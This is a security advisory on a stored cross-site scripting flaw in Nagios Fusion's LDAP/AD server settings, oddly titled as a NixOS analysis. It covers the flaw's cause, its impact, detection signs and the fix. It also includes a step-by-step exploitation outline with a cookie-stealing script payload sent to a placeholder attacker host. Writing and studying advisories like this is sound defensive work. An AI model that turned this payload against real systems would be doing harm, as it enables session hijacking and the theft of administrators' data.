CVE-2023-53690: 
NixOS vulnerability analysis and mitigation

CVE-2023-53690 is a stored cross-site scripting (XSS) vulnerability in Nagios Fusion's LDAP/AD authentication-server configuration. Unsanitized user input submitted during LDAP/AD server configuration is persisted and later rendered in the administrative UI, causing arbitrary JavaScript to execute in the browsers of any user who views the affected page. All Nagios Fusion versions prior to 4.2.0 are affected. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 6.2 (Medium) (Red Hat CVE, Nagios Security).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79). When an attacker with sufficient privileges configures an LDAP/AD authentication server in Nagios Fusion, malicious JavaScript can be injected into configuration fields that are stored without adequate sanitization. These stored payloads are subsequently rendered in the administrative UI without proper output encoding, triggering script execution in the browsers of any administrator or user who views the affected configuration page. Exploitation requires high privileges (ability to add authentication servers) and passive user interaction from a victim viewing the page (Red Hat CVE, VulnCheck Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other Nagios Fusion users, including administrators. This can result in session cookie theft, capture of sensitive data displayed in the administrative interface, and unauthorized actions performed on behalf of victim users. The changed scope (S:C in CVSS v3.1) reflects that the impact extends beyond the attacker's own session to affect other users' browsers, with potential for lateral movement within the Nagios Fusion environment (Red Hat CVE, Nagios Security).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. Exploitation requires high privileges (the ability to add LDAP/AD authentication servers) and passive interaction from a victim user viewing the affected administrative page, which limits the attack surface. The EPSS score is approximately 0.836%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, VulnCheck Advisory).

1. Gain privileged access: Obtain credentials for a Nagios Fusion account with permissions to add or modify LDAP/AD authentication server configurations.
2. Navigate to LDAP/AD configuration: Access the administrative UI and locate the LDAP/AD authentication-server configuration section.
3. Inject malicious payload: Enter a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a configuration field (such as server name or description) that is stored without sanitization.
4. Save the configuration: Submit the form to persist the malicious payload in the Nagios Fusion database.
5. Wait for victim interaction: When another user (e.g., an administrator) views the affected configuration page, the stored payload executes in their browser.
6. Harvest results: Collect stolen session cookies or other sensitive data exfiltrated to the attacker-controlled server, enabling session hijacking or further unauthorized actions (VulnCheck Advisory, Red Hat CVE).

• Logs: Nagios Fusion web server access logs showing POST requests to LDAP/AD configuration endpoints containing HTML/JavaScript tags or encoded script content in request bodies.
• Application Data: LDAP/AD authentication server configuration entries in the Nagios Fusion database containing unexpected <script>, javascript:, or event handler attributes (e.g., onerror, onload).
• Network: Outbound HTTP/HTTPS requests from administrator browsers to unknown external domains shortly after viewing the LDAP/AD configuration page, potentially carrying cookie or session data as query parameters.
• Browser: Unexpected redirects or pop-ups experienced by administrators when accessing the LDAP/AD authentication server configuration section of the Nagios Fusion UI.

Nagios has released version 4.2.0 of Nagios Fusion, which addresses this vulnerability. Organizations should upgrade to Nagios Fusion 4.2.0 or later as the primary remediation (Nagios Security, Nagios Changelog). As interim mitigations, administrators should restrict access to the LDAP/AD configuration functionality to the minimum number of trusted personnel, monitor the administrative interface for unauthorized configuration changes, and consider temporarily disabling LDAP/AD authentication server additions if patching is delayed.